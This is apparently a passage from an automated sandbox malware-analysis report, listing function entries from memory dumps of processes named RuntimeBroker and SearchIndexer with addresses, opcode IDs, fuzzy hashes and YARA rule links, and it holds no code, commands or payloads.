                                                                    • Opcode Fuzzy Hash: 84eb326c0573f33e5a684a17e6675d6768b3a0cf1c95bf5e3a9116896f56f58f
                                                                    • Instruction Fuzzy Hash: D6F0E131A089588FDF54EB04C894F9E77B1FB68311F158699D40EE7264DB34AE84CF85
                                                                    Function 00007FFD9B892F0B Relevance: .0, Instructions: 35COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: aa69fec6b4429639b23ef6693e96b365e6c0c4b016e0f38c26a298fa285c5519
                                                                    • Instruction ID: df87c9535ebed48b618f4d3982c0481c63fe113cc1de05ba6d2f7b4ea9aba7ce
                                                                    • Opcode Fuzzy Hash: aa69fec6b4429639b23ef6693e96b365e6c0c4b016e0f38c26a298fa285c5519
                                                                    • Instruction Fuzzy Hash: C0F0E631B5951E8AEF74EF94C8A57F87761FF98711F1601B5D40ED31A2DE386A818B00
                                                                    Function 00007FFD9B8905F8 Relevance: .0, Instructions: 24COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 334d7f1996c0b5e8d9cab45ef4dd1f4b7a5c543ff24098ef7f0e9ad70fb44093
                                                                    • Instruction ID: e43eb54ce041674789f8f14c634e2f0062ca9de9a1711c85f65e96504ce716f1
                                                                    • Opcode Fuzzy Hash: 334d7f1996c0b5e8d9cab45ef4dd1f4b7a5c543ff24098ef7f0e9ad70fb44093
                                                                    • Instruction Fuzzy Hash: 7EE0C211A2D92D8FDA14FB79A8658557BD0EF0D310BCA41F3E04ECB0A6E81468848649
                                                                    Function 00007FFD9B891D9C Relevance: .0, Instructions: 21COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: c6ab363836b5886034f7a43c8693565c541e6e60fba7df9961d65f11f34bc7f2
                                                                    • Instruction ID: e3dd7dde28ba439e3d8db9a8fbcf4ff7a2e15f18bcb7eda857fdd6a17523ab84
                                                                    • Opcode Fuzzy Hash: c6ab363836b5886034f7a43c8693565c541e6e60fba7df9961d65f11f34bc7f2
                                                                    • Instruction Fuzzy Hash: BDE09220F0D00A87FBB46788C8607A96210EB88300F1140B8DA5ED33D5CE28AE458B14
                                                                    Function 00007FFD9B890B95 Relevance: .0, Instructions: 19COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 84da47e8a84d7c7bda6fe4433242c964a2a7c5542f6b8e5b554b8c59c440ec5d
                                                                    • Instruction ID: 2531cacda1fc5a546aaf75607c61163b4005b6ce7e340a26c71d114f3e52f7b4
                                                                    • Opcode Fuzzy Hash: 84da47e8a84d7c7bda6fe4433242c964a2a7c5542f6b8e5b554b8c59c440ec5d
                                                                    • Instruction Fuzzy Hash: E8D0A930229A4E8FCA00B778C88A828BFA0FB4F210BCA10E1E00CC75A6C61888998700
                                                                    Function 00007FFD9B896BEE Relevance: .0, Instructions: 15COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 4a127bcacecdeb12e60c91025382bbcfa3bc2d4658c55bf5bb2348e82e0bb50b
                                                                    • Instruction ID: ec9925d0e25f1b6bc4833e3395a72ecd90e6717e6aae9fd093ba4b0f0ceb02aa
                                                                    • Opcode Fuzzy Hash: 4a127bcacecdeb12e60c91025382bbcfa3bc2d4658c55bf5bb2348e82e0bb50b
                                                                    • Instruction Fuzzy Hash: B7D01720F2E21E9AFEB6ABE4C4602B959906F8C701F0600B4D80ED32E6DF1C6E008650
                                                                    Function 00007FFD9B8906A5 Relevance: .0, Instructions: 13COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: c557962ecdf9a645250e69c81db5121ef9feda43b66054d61157a3cc4c3d3c8f
                                                                    • Instruction ID: 6a0f548f5851d83451bd9cd2a28fb594d23f5e6b3b9716f21b74d9fc43b4e9ae
                                                                    • Opcode Fuzzy Hash: c557962ecdf9a645250e69c81db5121ef9feda43b66054d61157a3cc4c3d3c8f
                                                                    • Instruction Fuzzy Hash: 3AC04C06F6B61F01FC3677EE9C660ADA9409FDDF10FD70172D54D400E59D4D22D60156
                                                                    Function 00007FFD9B890610 Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: d65b3a1f2b3ad503637b158c9c2dff92bd820aa817ef57b0e4c78606ed05fda1
                                                                    • Instruction ID: ee58f1d61f09d8316370c2c904d16d7eafd8c6258456fef17fcd21b00619b165
                                                                    • Opcode Fuzzy Hash: d65b3a1f2b3ad503637b158c9c2dff92bd820aa817ef57b0e4c78606ed05fda1
                                                                    • Instruction Fuzzy Hash: 94C08C3092180C8FC904F738C9849007AE0FB0D200BC600D0E40EC7170E22998548700
                                                                    Function 00007FFD9B890B18 Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 4c576b335eb65a8f3352678227d99615bd88c885f1ae07bafee35a7c8a1f1215
                                                                    • Instruction ID: 8c26c3e2f7bf7630aa6a055c3226d15fb3520b3ab627a2d2af3be00940f95eaa
                                                                    • Opcode Fuzzy Hash: 4c576b335eb65a8f3352678227d99615bd88c885f1ae07bafee35a7c8a1f1215
                                                                    • Instruction Fuzzy Hash: ADC08C305118088FC900E72DC98481036A0FB0E210BC20090E40DC7170E21ADCC0C700
                                                                    Function 00007FFD9B891310 Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: ded74a042e7444421a90b7133b5d1c50d87903aa23d20065afb2b17ec0c1f309
                                                                    • Instruction ID: 197a144fd6e612a218ea6739269fc2caf38fa2448212c2eca817dfd211397922
                                                                    • Opcode Fuzzy Hash: ded74a042e7444421a90b7133b5d1c50d87903aa23d20065afb2b17ec0c1f309
                                                                    • Instruction Fuzzy Hash: FCC08C3455180C8FC918EB69C89881437A0FB0D204BD20090E008C7170D229DCC0C740
                                                                    Function 00007FFD9B890540 Relevance: .0, Instructions: 9COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 7290849d3a4f824c9038adf1d6d595f68aba8562a3c154de17bdb756897f64c3
                                                                    • Instruction ID: 00f305d5a71312522919187c109a7f01e85ee314619ee0366ddb183e4f212c32
                                                                    • Opcode Fuzzy Hash: 7290849d3a4f824c9038adf1d6d595f68aba8562a3c154de17bdb756897f64c3
                                                                    • Instruction Fuzzy Hash: 3EB01230D5B60F93DE3833F11C520B4B8D0AF0D204FD302B4D40C801A1E86F52D58253
                                                                    Function 00007FFD9B8906C8 Relevance: .0, Instructions: 8COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 238015f6f33a3da4d6ce6ec078ef859a9a1607d6ec88d974f6e5f5684b3ba60c
                                                                    • Instruction ID: 688beb5b9b8193c0bb804f8a7cdc3d925b6c709becdd6b6d4b629218ecbfe333
                                                                    • Opcode Fuzzy Hash: 238015f6f33a3da4d6ce6ec078ef859a9a1607d6ec88d974f6e5f5684b3ba60c
                                                                    • Instruction Fuzzy Hash: 10B01200D6740F00EC2433FB0C5206978409B4C600FC20070D80D40095984D12960242

                                                                    Executed Functions

                                                                    Function 00007FFD9B870D77 Relevance: .3, Instructions: 255COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 8782c107fe81fca3498d47f06b567d41af34d8c5a8b5c4a3e037770efbbdd8bb
                                                                    • Instruction ID: b75a3fceca0643a09bc1210c927ad2207eae7718327c7af7a7abcf417ae88fea
                                                                    • Opcode Fuzzy Hash: 8782c107fe81fca3498d47f06b567d41af34d8c5a8b5c4a3e037770efbbdd8bb
                                                                    • Instruction Fuzzy Hash: E691E471A18A8D8FE798EB688876BA97FE1FF99704F4000BAD049C72D6DF791402C741
                                                                    Function 00007FFD9B870998 Relevance: .1, Instructions: 108COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: a13f0301d1445a4b2b24bbe9c62644aea48f809f9a48a201f40c71d57dda306b
                                                                    • Instruction ID: e8bcd7b6504e1f26914641110608a2dbc958e0555e277727cacb62131214e87f
                                                                    • Opcode Fuzzy Hash: a13f0301d1445a4b2b24bbe9c62644aea48f809f9a48a201f40c71d57dda306b
                                                                    • Instruction Fuzzy Hash: 6831DC20B1DD1D1FE794F76C94AAA7972C2EB9C319B4500B9E40DC33E7DD28AC428381
                                                                    Function 00007FFD9B872E40 Relevance: .1, Instructions: 97COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: ca760bbce38c2dcf2ba1113d2957510cd7e04aae4702ff401d569b9feb50978b
                                                                    • Instruction ID: 656b7a4c9c2ee965394508a3bbe24474c876eb89cae699de263ac8217d70dab4
                                                                    • Opcode Fuzzy Hash: ca760bbce38c2dcf2ba1113d2957510cd7e04aae4702ff401d569b9feb50978b
                                                                    • Instruction Fuzzy Hash: E5316721F1A91E4FEBB4EBA4C4F57B86292FF9D704F1201B5D40DD72A2DD28AE405740
                                                                    Function 00007FFD9B870C25 Relevance: .1, Instructions: 88COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 7f5afe4feba30c3d74eccf085398333f97d40b27db553426e9d6b85558ce69fb
                                                                    • Instruction ID: 531e3ef7bfcb083c8a409bc69cb7ed9c20216696f01c69a634da8973e9c86967
                                                                    • Opcode Fuzzy Hash: 7f5afe4feba30c3d74eccf085398333f97d40b27db553426e9d6b85558ce69fb
                                                                    • Instruction Fuzzy Hash: A5210A36B1D25D8FEB26E7A89CA54EC3B60DF85328F0542B3D048DB1D3D9282647A391
                                                                    Function 00007FFD9B870C38 Relevance: .1, Instructions: 57COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 68fec744dffd00e7f53151dea5a2f57be5613d8076dc986f9610bbf7719c38a5
                                                                    • Instruction ID: 4bf9c0d47378a07a17e0c0288a01aed4735f3f01f847cc677e03804fb22deee4
                                                                    • Opcode Fuzzy Hash: 68fec744dffd00e7f53151dea5a2f57be5613d8076dc986f9610bbf7719c38a5
                                                                    • Instruction Fuzzy Hash: D0110A31F1E24D9FEB11DBA888A51DD7BB0DF55718F0641B3C044DB1E2D53427069740
                                                                    Function 00007FFD9B8710BD Relevance: .1, Instructions: 53COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 4007788c4b4faa1981df34d81b0e78e15c27e75c1dc08139e4fbafcfaacc7b44
                                                                    • Instruction ID: c8ff412a525f7b0cbda88fb099c4f41be386125b4db49b4eb4a10ffd94ec6484
                                                                    • Opcode Fuzzy Hash: 4007788c4b4faa1981df34d81b0e78e15c27e75c1dc08139e4fbafcfaacc7b44
                                                                    • Instruction Fuzzy Hash: 6A01FE1194E6C50FD36967B05C729E13FE4DF8725470A01FAD095CB5F3CC4D59468751
                                                                    Function 00007FFD9B870C40 Relevance: .1, Instructions: 51COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 82e2af418751d6288b16ed3dc39fae3ef7e79c004aeb9a4b452bd5b43e4e9cf1
                                                                    • Instruction ID: c3a9890c49590b5acabb0695cc90c9ed1da99920f3ee93445c88fb0e836127a2
                                                                    • Opcode Fuzzy Hash: 82e2af418751d6288b16ed3dc39fae3ef7e79c004aeb9a4b452bd5b43e4e9cf1
                                                                    • Instruction Fuzzy Hash: DA11E531E1E28D8FEB12DBA888A419D7BB0EF56718F0641F7C044DB2E2D53827469740
                                                                    Function 00007FFD9B870C48 Relevance: .0, Instructions: 45COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: cc345b088d4b6eed77cc233dd23745a59f79f912ab48c22e20ef35bc7dd220c7
                                                                    • Instruction ID: 1263721eaa52acdaa2ae372be02ebfbd276935184b377a05b7dadac42e4ee714
                                                                    • Opcode Fuzzy Hash: cc345b088d4b6eed77cc233dd23745a59f79f912ab48c22e20ef35bc7dd220c7
                                                                    • Instruction Fuzzy Hash: 1601D631E1E28D8FEB15DBA4889419D7FB0EF46718F1541F7C044DB2A2D53467459740
                                                                    Function 00007FFD9B870C50 Relevance: .0, Instructions: 40COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 9499c7ac9af4dbd0a420959e8d4c53b917b77e0af95a43e7a769cc957e6c733c
                                                                    • Instruction ID: 02fe6ac8bb7efeaa0bf5e39da3c408b0c5f5d7c91918425d9697c8387c8981c5
                                                                    • Opcode Fuzzy Hash: 9499c7ac9af4dbd0a420959e8d4c53b917b77e0af95a43e7a769cc957e6c733c
                                                                    • Instruction Fuzzy Hash: D401D430E1E28D9FEB21DBA488A459D7FB0EF56708F1541F7C044CB2A2D9386B459740
                                                                    Function 00007FFD9B87176E Relevance: .0, Instructions: 40COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: b6f7926a9eaa17a7a7af931bb64baea4c84c3ea31ac79d2eb3c018b53366fbda
                                                                    • Instruction ID: 0915a5fc5d1dff3622161f3b0121449728b3bbffac696205efe37c134767930c
                                                                    • Opcode Fuzzy Hash: b6f7926a9eaa17a7a7af931bb64baea4c84c3ea31ac79d2eb3c018b53366fbda
                                                                    • Instruction Fuzzy Hash: 56F0C831F0941A4BF768FA44D8A99A82396DF58354F050275E41DC72E9EE1C6A0153C1
                                                                    Function 00007FFD9B873FF0 Relevance: .0, Instructions: 39COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: d5944320c1c4f979af634bc1c56996fb6b580080a7d3575e90bff5e398fdc282
                                                                    • Instruction ID: 8af57b601f924943b6d8d2755fbcba29a657b318d712fc8154a4d2224f618036
                                                                    • Opcode Fuzzy Hash: d5944320c1c4f979af634bc1c56996fb6b580080a7d3575e90bff5e398fdc282
                                                                    • Instruction Fuzzy Hash: 68014471A08958CFDF64EB04C894FAEB3B1FB68304F0545A9D40EA7260DA34AA85CFC1
                                                                    Function 00007FFD9B873FFF Relevance: .0, Instructions: 35COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: d8a85c9f3b348b4e05f74820a9a5b02e35b97501aa73bdf2b1227c2c9c43cc7a
                                                                    • Instruction ID: 894c66bbba3e5787e356645e4a670240ed0807a354a4d181e2883570c429f4c7
                                                                    • Opcode Fuzzy Hash: d8a85c9f3b348b4e05f74820a9a5b02e35b97501aa73bdf2b1227c2c9c43cc7a
                                                                    • Instruction Fuzzy Hash: FDF0E131A089588FDB54EB04C894F9E73B1FB68315F118699D40EE7264DA34AE85CF85
                                                                    Function 00007FFD9B872F0B Relevance: .0, Instructions: 35COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: aa69fec6b4429639b23ef6693e96b365e6c0c4b016e0f38c26a298fa285c5519
                                                                    • Instruction ID: 40d6106fb147926dc27ccbbc536b4c2355e15d7097860898b8cd18a77b67ca1e
                                                                    • Opcode Fuzzy Hash: aa69fec6b4429639b23ef6693e96b365e6c0c4b016e0f38c26a298fa285c5519
                                                                    • Instruction Fuzzy Hash: 3AF03131B1A51E8AEB74EF94C8E4BF87361EF89315F1201B9C00DD31A2DE386A819B00
                                                                    Function 00007FFD9B8710F0 Relevance: .0, Instructions: 27COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: b9118b08656d42083d110add8e12ec8a9b5bae9de69816915bf8e528316c1eae
                                                                    • Instruction ID: 506f8e37a0129bd6cbf6e87b7e314a4a54632266ae77d8a7b0e0bd9c1e93a5b9
                                                                    • Opcode Fuzzy Hash: b9118b08656d42083d110add8e12ec8a9b5bae9de69816915bf8e528316c1eae
                                                                    • Instruction Fuzzy Hash: 3DE02621F1CC490BEBACB67428B29B07380DB9531870601BAD06AC32D6EC0E5C824281
                                                                    Function 00007FFD9B8705F8 Relevance: .0, Instructions: 24COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 22bc5afc93871733a662da9677d586624953475d0ae0c64114a5828bb738c85e
                                                                    • Instruction ID: cec8a2aa432fbc3429262204016440499432644fa47862678e1a3c49a3e12427
                                                                    • Opcode Fuzzy Hash: 22bc5afc93871733a662da9677d586624953475d0ae0c64114a5828bb738c85e
                                                                    • Instruction Fuzzy Hash: 5DE0C251A2D92D4FDA14FB79A8A58557B90EF0D218BCA41F3E04ECB0A6E81468849645
                                                                    Function 00007FFD9B871D9C Relevance: .0, Instructions: 21COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: c6ab363836b5886034f7a43c8693565c541e6e60fba7df9961d65f11f34bc7f2
                                                                    • Instruction ID: 863a760f7e828bdda769f3fd9c27d90cce18a07501fe4450c73cc7dd98823ff5
                                                                    • Opcode Fuzzy Hash: c6ab363836b5886034f7a43c8693565c541e6e60fba7df9961d65f11f34bc7f2
                                                                    • Instruction Fuzzy Hash: 57E09270F0900A87FBB06788C4A07A9A210EBC8304F1140B8DA4E933D5DE38AE45AB14
                                                                    Function 00007FFD9B870B95 Relevance: .0, Instructions: 19COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 84da47e8a84d7c7bda6fe4433242c964a2a7c5542f6b8e5b554b8c59c440ec5d
                                                                    • Instruction ID: 6cd46d3c5ae673a7dfa36316ca480fb27d750da02c60a2e27cad3b7bf20c1256
                                                                    • Opcode Fuzzy Hash: 84da47e8a84d7c7bda6fe4433242c964a2a7c5542f6b8e5b554b8c59c440ec5d
                                                                    • Instruction Fuzzy Hash: 8FD0A930229A4E8FCA01B778C8CA824BBA0FB8F214BCA10E1E008C75A6C61888998700
                                                                    Function 00007FFD9B876BEE Relevance: .0, Instructions: 15COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: f0a6a6114ec8298f6d3f6da6ecef39629cd8849d83d872689ab7e1a9e0a2cacf
                                                                    • Instruction ID: 3e4f280ac30ae9e53139427d90e410b8a24563f4b5f8717f5cea1dc0b0ee3ab7
                                                                    • Opcode Fuzzy Hash: f0a6a6114ec8298f6d3f6da6ecef39629cd8849d83d872689ab7e1a9e0a2cacf
                                                                    • Instruction Fuzzy Hash: ABD0EC20F1A11E46FAB0F790C4B16B951809F88749F1600B4D40EC31E2DE186E006640
                                                                    Function 00007FFD9B870700 Relevance: .0, Instructions: 15COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
